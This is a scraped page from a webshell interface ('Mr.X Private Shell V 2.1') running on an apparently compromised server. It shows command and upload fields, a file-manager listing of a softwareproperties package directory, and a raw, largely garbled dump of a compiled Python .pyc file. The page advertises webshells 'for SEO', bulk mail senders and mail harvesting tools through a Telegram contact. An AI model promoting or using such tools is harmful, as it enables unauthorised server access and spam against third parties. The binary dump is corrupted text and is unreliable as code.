__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��gL	��8�SSKJrJr SrSrSrSrSrSrg)	�)�SourceEntry�Deb822SourceEntryc��[U[5(a[[U5URS9$[	[U5URS9$)z+Return a shallow copy of the source entry. )�file)�
isinstancer�strrr)�origs �@/usr/lib/python3/dist-packages/softwareproperties/sourceutils.py�copy_source_entryrs:���$�)�*�*� ��T�����;�;��s�4�y�t�y�y�1�1�c�f�[U5nUR5Hup4[X#U5 M U$)z?Return a copy of the given source entry with replaced field(s).)r�items�setattr)r	�kwargs�entry�k�vs     r
�replace_source_entryr
s-���d�#�E��,�,�.�����!��!��Lrc�p�URRS5nUS=(d SR5$)z`
Return the pocket, or if unset return 'release'.

This always returns the pocket in lowercase.
�-��release)�dist�	partition�lower)�source_entry�partss  r
�get_source_entry_pocketrs2��
���'�'��,�E��!�H�!�	�(�(�*�*rc�>�URRS5S$)zP
Return the suite, without pocket.

This always returns the suite in lowercase.
rr)rr)rs r
�get_source_entry_suiter s �����&�&�s�+�A�.�.rc��[U[UR5S9nUH(n[U[UR5S9U:XdM&Us $ g)z�
Return the source entry from entries that matches entry, if found.
Otherwise return None.

This function uses a modified equality check, i.e. it considers components
as a set rather than a list so that different ordering does not affect the
comparison.
)�compsN)r�setr")�entriesr�target�es    r
�get_source_entry_from_listr'"sD��"�%�s�5�;�;�/?�
@�F�
�����Q�W�W��6�&�@��H��rc��URUR:wagSH3n[[X55[[X55-
(dM3 g g)a
Return True if the source defined by b is already satisfied
by the source defined by a.

For example, if source a is:

Types: deb
URIs: http://archive.ubuntu.com/ubuntu
Suites: jammy
Components: main universe

and source b is:

Types: deb
URIs: http://archive.ubuntu.com/ubuntu
Suites: jammy
Components: universe

Then source a contains source b.

But if source b was:

Types: deb-src
URIs: http://archive.ubuntu.com/ubuntu
Suites: jammy
Components: universe

Then a does not contain b because it does not include deb-src.
F)�typesr"�suites�urisT)�disabledr#�getattr)�a�b�attrs   r
�deb822_source_entry_containsr13sH��<	�z�z�Q�Z�Z���4���w�q�� �3�w�q�'7�#8�8�8��5�rN)	�aptsources.sourceslistrrrrrr r'r1�rr
�<module>r4s&��C�2��+�/��"%r

Filemanager

Name Type Size Permission Actions
AptAuth.cpython-313.pyc File 5.21 KB 0644
CountryInformation.cpython-313.pyc File 2.14 KB 0644
MirrorTest.cpython-313.pyc File 10.88 KB 0644
SoftwareProperties.cpython-313.pyc File 46.85 KB 0644
__init__.cpython-313.pyc File 628 B 0644
cloudarchive.cpython-313.pyc File 7.36 KB 0644
distro.cpython-313.pyc File 1.48 KB 0644
ppa.cpython-313.pyc File 11.7 KB 0644
shortcuthandler.cpython-313.pyc File 37.76 KB 0644
shortcuts.cpython-313.pyc File 1.01 KB 0644
sourceslist.cpython-313.pyc File 2.03 KB 0644
sourceutils.cpython-313.pyc File 3.26 KB 0644
uri.cpython-313.pyc File 1.84 KB 0644
Filemanager